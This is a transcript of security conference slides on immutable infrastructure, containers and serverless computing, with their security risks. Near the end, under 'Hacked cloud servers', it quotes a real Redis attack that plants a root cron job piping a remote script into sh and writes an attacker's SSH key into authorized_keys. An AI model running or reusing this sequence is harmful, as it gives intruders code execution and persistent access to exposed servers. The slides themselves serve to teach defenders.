There is No Server: Immutable Infrastructure and Serverless Architecture
52
There is no server Erlend Oftedal, Blank
Transcript of There is No Server: Immutable Infrastructure and Serverless Architecture
There is no server
Erlend Oftedal, Blank
Erlend Oftedal@ Blank, Oslo, NorwayDeveloper, security architect, security tester, bug bounty hunterBuilds open source security tools like Retire.jsHead of OWASP Norway chapter@webtonull
about:me
They are yoursOnly you run your code on them (hopefully)ExpensiveLead timesHard/expensive/time-consuming to wipe/reinstall
Physical servers
Could still run on your own serversVMs are easy to create/destroyAmount of servers = max loadMaintain h+n servers
Virtualization @ company
Breaking out into the host OSAccess to all VMs on host OSAccess to network ++
Escaping the VM
CVE-2007-1744 – Directory traversal vulnerability in shared folders featureCVE-2008-0923 – Path traversal vulnerability in VMware’s shared foldersimplementationCVE-2009-1244 – Cloudburst (VMware virtual video adapter vulnerability)CVE-2011-1751 – Missing hotplug check during device removalCVE-2012-0217 – 64-bit PV guest privilege escalation vulnerabilityCVE-2014-0983 – Oracle VirtualBox 3D acceleration multiple memorycorruption vulnerabilities
Examples
QEMU/KVM Attack via virtual �oppy disk controllerBu�er over�ow in FIFO bu�erDid not a�ect all vendors
CVE-2015-3456 - Venom
https://www.crowdstrike.com/blog/venom-vulnerability-details/
VM memory deduplicationMemory operations can intenionally modify neighbouring RAM rowsModify in-memory keys (e.g. break SSH) of another VM
Rowhammer - Flip Feng shui
https://www.usenix.org/system/�les/conference/usenixsecurity16/sec16_paper_razavi.pdf
One VM can steal encryption keys from anotherCache-based timing attacks through hyper-threadingJune 2016 - succesfully tested on Amazon EC2
Cache timing attacks
https://microkerneldude.wordpress.com/2015/04/27/how-to-steal-encryption-keys-your-cloud-is-not-as-secure-as-you-may-think/ https://eprint.iacr.org/2016/596.pdf
Can still have dedicated hardware (expensive)Easy to destroy/re-createAutoscalingMaintain n virtual serversNot on-premises anymoreMay run on same host OS as an attackerCloud vendor may protect against some of the previously mentioned attacks
Virtualization @ cloud - IaaS
Immutable servers
Live linux CDsInternet cafésSchoolsetc.
Classic immutability
Avoid snow �ake serversUse pre-built tested components
Goals
1. Find suitable base image2. Build speci�c image for application
dependenciesapplicationsecrets
3. Deploy image to server(s)4. Repeat 2-4 for new versions
Data stored externallyDatabaseVolumeLog server
Immutable
Rolling upgradesRollback on failMust be supported by database schema
Migrations
Deployment
Some options:Build secrets inLeverage cloud key managementUse third-party service
Secret management
Attacker thrown out with old serverMay come back though...
Specialized imagesRemove all unneeded packagesDo you really need...
SSH?BASH?
Auditing and monitoringUnexpected �le changesUnexpected logins/connections
Security
...we never change the OS �lesystem...
...which means we have to redeploy to apply security patches
If truly immutable...
No loginsNo manual changesAutomated system update allowed
Semi-immutable
Containers
Process isolationFile systemNetworkMemoryProcesses
Runs on the same OS (VM or physical)KVM - MicroVMs
Containers
Consistent OS/�le system across deployments by using imagesDev/test/production
Copy on writeseveral containers can use the same imagechanges occur only in container
Containers
Mount �le system as read-onlyAllow changes to /tmp and /run
Discard between runs of the container
Immutable containers
Components in your image needs patchingApache, Nginx etc.3rd party code in your applications
Redeploy application with new imageHow often?
Patching containers
Denial of ServiceSingle container monopolizes host resources
Vulnerable/backdoored images29th of May 2015: 30% had high impact vulns
Kernel exploitsEscape to host OS
Access to other running containersAccess to other resources
Container vulnerabilities
Copy-On-Write race conditionLinux privilege escalationEscape Docker container
DirtyCOW
https://dirtycow.ninja/
Options:Built secrets inLeverage cloud key managementUse third-party service
PAL - get from docker host
Secret management
Don't run as root inside containerUser namespacesLeast privilege
CapabalitiesResources
Keep up to date!Automate scanning
clair, lynis, dockerbench
Separate untrusted and trusted containers
Whether immutable or not
On our way to serverless
OS managed by vendorPlatform managed by vendorYou supply the running code
Platform as a service
Vendors handle everything
Software as a service
Serverless
Replace parts of the application with a serviceAuthenticationStoragePush noti�cationsSocial networks
Have to trust the provider
Backend as a Service
Ephemeral micro environments!= Platform-as-a-ServiceStart-up: Fast 10ms ++Runtime cap: 5 minute running time (AWS)
Custom codeBusiness logicGlue code
No servers to monitor or scalePay per invocationNo pay for idle time
Function as a service - FaaS
5,000,000 times * 5 seconds @ 128MB RAM = $45.43/month200,000 times * 10 seconds @ 512MB RAM = $10.00/month
http://serverlesscalc.com/
Pricing
Source: http://techbeacon.com/essential-guide-serverless-technologies-architectures
Microenvironments have (almost) no stateData must be stored externallyLocal �le system can be used temporarilyBut may be �ushed between invocations
FaaS - data
TimeHTTP callsQueuesOther cloud services
FaaS - example triggers
1. Use a compute service to execute code on demand2. Write single-purpose, stateless functions3. Design push-based, event-driven pipelines4. Create thicker, more powerful front ends5. Embrace third-party services
5 serverless principles1
1http://techbeacon.com/essential-guide-serverless-technologies-architectures
AWS LambdaJavaScript, Python, Java
Azure FunctionsJavaScript, C#, Python, PHP, BASH, Powershell ++
Google Cloud FunctionsJavaScript
IBM OpenWhiskJavaScript, Swift, Docker
Auth0 Webtask.ioJavaScript
FaaS - Examples
Actually runs in containersContainers are rebuilt
if code etc. is modi�edif needed by AWS
Containers may be reused/tmp is kept until recreatedUseful for caching
AWS Lambda
Securing the codeAvoid security decisions in the frontendUse secure coding practicesRace conditions
Denial of Serviceloopsampli�cation
Protecting the endpoints/services3rd party componentsBaaS lifespan
FaaS - security concerns
Trusting the cloud?
“Cloud is not JBOS (Just a Bunch Of Servers) ... Amazon isbetter at running servers than you are.”
Dan Kaminsky O'Reilly Security Conference 2016
On premises IaaS Containers FaaS PaaS SaaS
Application Application Application Application Application Application
Data Data Data Data Data Data
Runtime Runtime Runtime Runtime Runtime Runtime
OS OS OS OS OS
Virtualization Virtualization Virtualization Virtualization Virtualization Virtualization
Servers Servers Servers Servers Servers Servers
Network Network Network Network Network Network
You manageVendor manages
You manage
OS
Network segregation, device management and patchingHost management and patchingIAM for host/infrastructure opsVM and container isolationAuditing and monitoring on OSInfrastructure forensics+++
Cloud Trust
Protect the root account!Protect your access keysManage your cloud console opsEnable auditing for cloud and application operationsManage your application logsMonitor cost
AlertingLimiting
With cloud you have to...
config set stop-writes-on-bgsave-error 2 no config set rdbcompression no config set dir /var/spool/cron config set dbfilename root set 1 */1 * * * * curl -L https://*.*********.com/pm.sh?i103 | sh save config set dir /root/.ssh config set dbfilename authorized_keys set 1 ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEA4TjWxZeA8JlaBwfvgtjvDT0bm9d4JGbzz1KIIGyvSKxd7bqYLwXfxr0Q+tZxF5nHXldH2pRNacD7Gm8XX4aZCUYlL5Ev0goYmOTgXOQNkgyVQKPE6KGV5BZpNoB2sbIkuweLbbdZaOcncnFvAEh7dVUQ5lh2QLz/IuRzakrzaJeTPiaD3BAyXhjcVwDFn1Lb84uiqc7nW6gw2bIaSMOrNTfZH/xftGdIUpJoQK06jmFrTlpWaL5joAooc2Evan6XnqkO4g5In7tjhX8pBtCBGk78SKCJmkEjK+xbN+7oZhuaeB/ubPm3xDahi+w1xHGZIt/N7z268Fz3rQAhBUZ+eQ==save del 1 config set dir /tmp config set dbfilename dump.rdb config set rdbcompression yes
Hacked cloud servers
Cloud can solve many of your problems, but in theend you cannot transfer your security responsibility
Reminder
https://highops.com/insights/immutable-infrastructure-6-questions-6-experts/http://techbeacon.com/essential-guide-serverless-technologies-architectureshttp://martinfowler.com/articles/serverless.htmlhttps://github.com/gebl/dirtycow-docker-vdsohttps://azure.microsoft.com/en-us/services/functions/https://cloud.google.com/functions/https://developer.ibm.com/open/openwhisk/https://webtask.io/https://aws.amazon.com/lambda/https://aws.amazon.com/blogs/compute/container-reuse-in-lambda/
Resources
